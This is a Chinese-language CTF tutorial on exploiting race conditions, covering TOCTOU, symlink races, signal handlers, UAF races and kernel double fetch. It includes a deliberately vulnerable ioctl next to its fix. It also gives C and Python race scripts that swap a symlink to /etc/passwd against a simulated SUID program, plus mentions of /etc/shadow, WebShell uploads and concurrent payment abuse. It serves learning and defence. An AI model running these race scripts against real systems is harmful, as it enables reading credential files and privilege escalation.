竞态条件与条件竞争
竞态条件与条件竞争
本文适合
已经理解基本 Pwn 原语,开始遇到多线程、fork、signal、TOCTOU 或内核 double fetch 题的学习者。学完你能:识别检查和使用之间的竞态窗口,用并发、调度、文件切换或 userfaultfd/FUSE 放大窗口,并记录一次可复现的竞态成功证据
竞态条件(Race Condition)在二进制利用中是指多个执行流(线程、进程、信号处理)之间的竞争导致程序行为偏离预期。条件竞争是系统安全中的经典问题,从用户态程序到内核漏洞都有涉及。
什么是竞态条件
程序的正确性依赖于操作的执行顺序,但在并发环境下,执行顺序是不确定的。
TOCTOU(Time of Check to Time of Use)是最典型的模式:程序先检查某个条件,然后基于检查结果执行操作。但在检查和执行之间,条件可能已经被另一个执行流改变。这个"检查"和"使用"之间的时间窗口就是竞态窗口,窗口越大越容易被利用。
竞态条件的本质是程序假设了"检查之后状态不会改变",但这个假设在并发环境下不成立。操作系统在线程之间切换时,会在任意指令处暂停一个线程去执行另一个线程,攻击者只需要让恶意操作恰好落在检查和使用之间的切换点上。单次尝试的成功率可能很低,但通过大量重试可以将成功率提升到接近 100%。
线程A: 检查文件权限 -> 通过
线程B: 修改文件指向 -> 将文件链接到 /etc/passwd
线程A: 打开文件 -> 实际打开的是 /etc/passwdCTF 中的常见场景
竞态条件在 CTF 中主要出现在三个场景。第一个是文件上传竞态:应用先检查文件扩展名是否合法,然后保存文件,攻击者在检查通过后、保存完成前将文件内容替换为 WebShell,或者利用"先上传后删除"的窗口在删除前访问已上传的恶意文件。第二个是 Use-After-Free(UAF)竞态:一个线程释放了堆上的对象,另一个线程在指针被置空之前仍然持有该指针并访问它,攻击者可以在 free 和置空之间的窗口中重新分配同一块内存来控制对象内容。第三个是内核 Double Fetch:内核从用户空间读取数据时读了两次,用户态进程在两次读取之间修改数据,导致内核对修改后的数据执行了未经验证的操作。
利用方法
利用竞态条件的核心是增大竞态窗口和增加命中概率。增大窗口的方法包括:在检查和使用之间插入耗时操作(如 I/O、大量计算)、通过 sched_setaffinity 将攻击线程绑定到特定 CPU 核心减少调度干扰、通过 nice 或 sched_setscheduler 提高攻击线程的调度优先级。增加命中概率的方法包括:多线程并发发送请求(Web 场景用 Python 的 threading 或 asyncio)、循环重试直到成功、使用 CPU 密集操作延长竞争窗口。在 Web 题中,通常用几十到几百个并发线程持续请求目标接口,配合脚本自动检测是否成功(如检查响应中是否出现 flag 或 WebShell 是否已被写入)。
用户态竞态条件
Symlink Race(符号链接竞争)
程序以高权限检查并操作文件时,攻击者通过符号链接竞争改变目标。
场景:SUID 程序检查 /tmp/userfile 是否安全,然后读取它。
攻击:
1. 创建 /tmp/userfile -> 指向安全文件
2. 程序检查 /tmp/userfile(通过安全检查)
3. 快速将 /tmp/userfile 重新链接到 /etc/shadow
4. 程序读取 /tmp/userfile(实际读取 /etc/shadow)文件描述符竞争
程序在 fork 后,父子进程共享文件描述符。如果一个进程改变了文件偏移或状态,另一个进程的行为会受影响。
Signal Handler 竞态
信号处理函数和主程序之间的竞态。
#include <stdio.h>
#include <signal.h>
#include <stdlib.h>
#include <unistd.h>
volatile int flag = 0;
char buffer[256];
void handler(int sig) {
// 信号处理函数中使用了 buffer
// 如果主程序正在修改 buffer,这里就会读到不一致的状态
if (flag) {
printf("Buffer: %s\n", buffer);
}
}
int main() {
signal(SIGUSR1, handler);
while (1) {
// 主程序修改 buffer
snprintf(buffer, sizeof(buffer), "Normal data");
flag = 1;
// 信号可能在这里触发,导致读到部分修改的 buffer
sleep(1);
flag = 0;
}
return 0;
}内核竞态条件
内核中的竞态条件更加危险,因为内核拥有最高权限。
Double Fetch(双重读取)
用户态和内核态之间的数据传递存在竞态。内核从用户空间读取数据时,如果读取两次,用户态可以在两次读取之间修改数据。
// 内核模块示例(漏洞代码)
struct user_data {
int type;
char buffer[64];
};
// 漏洞函数
int vulnerable_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
struct user_data __user *udata = (struct user_data __user *)arg;
// 第一次读取:检查 type
int type;
if (copy_from_user(&type, &udata->type, sizeof(int)))
return -EFAULT;
if (type != ALLOWED_TYPE)
return -EINVAL;
// 用户态在此时修改 type -> MALICIOUS_TYPE
// 第二次读取:使用 type(此时已经被修改)
struct user_data local_data;
if (copy_from_user(&local_data, udata, sizeof(struct user_data)))
return -EFAULT;
// local_data.type 已经不是 ALLOWED_TYPE 了
process_data(&local_data); // 使用了未经验证的数据
return 0;
}修复方式
// 正确做法:只读取一次
int safe_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
struct user_data local_data;
// 只从用户空间复制一次
if (copy_from_user(&local_data, (struct user_data __user *)arg, sizeof(local_data)))
return -EFAULT;
// 对本地副本进行所有检查和操作
if (local_data.type != ALLOWED_TYPE)
return -EINVAL;
process_data(&local_data);
return 0;
}Use-After-Free 竞态
释放对象和重新使用引用之间的竞态。
// 简化的竞态 UAF 示例
// 线程 1: 释放对象
void thread1() {
pthread_mutex_lock(&lock);
free(shared_ptr);
shared_ptr = NULL;
pthread_mutex_unlock(&lock);
}
// 线程 2: 使用对象(竞态窗口内)
void thread2() {
// 如果在线程 1 free 之后、赋 NULL 之前访问
if (shared_ptr != NULL) {
shared_ptr->callback(); // UAF
}
}利用竞态条件的方法
增大竞态窗口
// 方法1: CPU 密集型操作
void increase_window() {
// 在检查和使用之间插入 CPU 密集操作
for (volatile int i = 0; i < 1000000; i++);
}
// 方法2: 调度优先级
#include <sched.h>
void set_high_priority() {
struct sched_param param;
param.sched_priority = sched_get_priority_max(SCHED_FIFO);
sched_setscheduler(0, SCHED_FIFO, ¶m);
}
// 方法3: CPU 亲和性
#define _GNU_SOURCE
#include <sched.h>
void pin_cpu(int cpu) {
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
sched_setaffinity(0, sizeof(set), &set);
}多线程竞争
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#define TARGET_FILE "/tmp/race_target"
#define LINK_FILE "/tmp/race_link"
// 攻击线程:不断切换符号链接
void *race_thread(void *arg) {
while (1) {
// 将 LINK_FILE 指向安全文件
unlink(LINK_FILE);
symlink("/tmp/safe_file", LINK_FILE);
// 短暂延迟
for (volatile int i = 0; i < 100; i++);
// 将 LINK_FILE 指向目标文件
unlink(LINK_FILE);
symlink("/etc/passwd", LINK_FILE);
}
return NULL;
}
int main() {
// 创建安全文件
int fd = open("/tmp/safe_file", O_CREAT | O_WRONLY, 0644);
write(fd, "safe content\n", 13);
close(fd);
// 创建初始链接
symlink("/tmp/safe_file", LINK_FILE);
// 启动竞争线程
pthread_t tid;
pthread_create(&tid, NULL, race_thread, NULL);
// 主线程:模拟有漏洞的 SUID 程序
for (int i = 0; i < 100000; i++) {
// 检查链接指向
struct stat st;
if (stat(LINK_FILE, &st) == 0) {
// 检查文件是否在安全目录(这里只是示例)
// ...
// 使用文件(竞态窗口)
fd = open(LINK_FILE, O_RDONLY);
if (fd >= 0) {
char buf[256];
int n = read(fd, buf, sizeof(buf) - 1);
if (n > 0) {
buf[n] = '\0';
// 检查是否读到了非预期内容
if (strstr(buf, "root:") != NULL) {
printf("[!] 竞态成功!读取到 /etc/passwd 内容\n");
printf("%s\n", buf);
close(fd);
break;
}
}
close(fd);
}
}
}
pthread_cancel(tid);
pthread_join(tid, NULL);
unlink(LINK_FILE);
return 0;
}检测竞态条件
使用 strace 观察系统调用序列
# 跟踪程序的文件操作
strace -f -e trace=file ./vulnerable_program
# 关注模式:access/stat 后跟 open
# access("/tmp/file", W_OK) = 0 <- 检查
# ... (竞态窗口) ...
# open("/tmp/file", O_WRONLY) <- 使用使用 ltrace 跟踪库函数
ltrace -f ./vulnerable_program常见误区
- 以为竞态条件只在多线程程序中出现。信号处理、fork、内核与用户态交互都会产生竞态。
- 忽略内核竞态。内核 double fetch 是 CTF Kernel Pwn 中的常见考点。
- 竞争成功率低就放弃。增大窗口、增加重试次数、使用 CPU 亲和性可以提高成功率。
- 不区分检查和使用的边界。需要精确识别 TOCTOU 的时间窗口。
- 忽略编译器优化。编译器可能重排指令,改变竞态窗口的位置和大小。
- 以为加锁就能解决所有竞态。锁的粒度、死锁、锁的遗漏都是问题。
一句话判断
如果程序先检查某个状态,再在另一个时间点使用该状态,并且攻击者能在两者之间修改文件、指针、对象或用户态内存,就按竞态条件分析。
竞态题的核心是把“偶然时序”变成“可重复命中”的利用窗口。
题目中常见信号
- 源码里有
access/stat后接open。 - 多线程、fork、signal handler 操作同一对象。
- free、检查、使用之间没有完整锁保护。
- 内核 ioctl 多次
copy_from_user同一用户指针。 - 题目提示 race、TOCTOU、double fetch、userfaultfd。
- 单次运行不稳定,多次重试偶尔成功。
- 需要并发上传、并发兑换、并发释放或并发 ioctl。
核心概念
竞态窗口可以写成:
检查状态 -> 攻击者改变状态 -> 程序使用旧假设成功率由两件事决定:
窗口长度:检查和使用之间隔了多久
尝试频率:攻击线程能在窗口内尝试多少次利用脚本要同时做两件事:一边反复触发受害路径,一边反复切换目标状态,并自动检测成功条件。
最小分析流程
- 标出共享资源:文件、指针、对象、用户态结构体、全局变量。
- 找检查点和使用点:权限检查、类型检查、大小检查、引用计数。
- 判断攻击者能否在两点之间修改共享资源。
- 增大窗口:I/O、CPU 忙等、userfaultfd、FUSE、线程调度、CPU 亲和性。
- 增加命中:多线程、多进程、循环重试、批量请求。
- 设计成功检测:读到目标文件、uid 变 0、对象字段被替换、flag 出现。
- 记录成功次数和失败原因,避免只贴一次偶然输出。
最小验证示例
用 strace 找 TOCTOU:
strace -f -e trace=file ./vuln 2>&1 | rg "access|stat|open|rename|symlink"最小并发模型:
import threading
import os
stop = False
def switcher():
while not stop:
try:
os.unlink("/tmp/link")
except FileNotFoundError:
pass
os.symlink("/tmp/safe", "/tmp/link")
try:
os.unlink("/tmp/link")
except FileNotFoundError:
pass
os.symlink("/etc/passwd", "/tmp/link")
def trigger():
while not stop:
os.system("./vuln /tmp/link >/tmp/out 2>/dev/null")
threading.Thread(target=switcher).start()
threading.Thread(target=trigger).start()成功标准:能用日志说明检查时对象是安全状态,使用时对象已切换为攻击者目标。
常见利用 / 解题路线
路线总览:
路线一:文件 TOCTOU
access/stat 检查安全文件,open 时切换成敏感文件或符号链接。
路线二:Web/服务并发
并发兑换、上传、支付、领取奖励,目标是让多个请求同时通过检查。
路线三:UAF 竞态
一个线程释放对象,另一个线程在引用清空前使用对象。通过堆喷或重新分配控制对象内容。
路线四:内核 double fetch
内核第一次读取用户结构体做检查,第二次读取时用户态修改字段。常配合 userfaultfd/FUSE 稳定窗口。
路线五:signal handler 竞态
信号在主程序修改共享状态时打断,导致处理函数读到不一致数据。
常见失败原因
- 窗口太短:需要加并发、加延迟或用 userfaultfd/FUSE。
- 成功检测不明确:只看程序没崩不等于竞态成功。
- 锁保护了关键区:检查和使用都在同一把锁内时难以竞态。
- 资源切换不够原子:文件删除/创建过程可能导致目标不存在。
- 线程调度不稳定:尝试 CPU 亲和性、优先级和多进程。
- 内核环境限制:新内核可能禁 userfaultfd 或需要特定权限。
迷你案例
SUID 程序:
stat("/tmp/link") 确认不是敏感文件
open("/tmp/link") 读取内容攻击脚本不断在 /tmp/link -> /tmp/safe 和 /tmp/link -> /etc/passwd 之间切换,同时循环运行程序。成功时输出中出现 root:。
WP 要写清楚:
检查点:stat 看到 safe
使用点:open 实际打开 /etc/passwd
稳定动作:两个线程循环切换和触发
成功证据:strace 序列 + 输出命中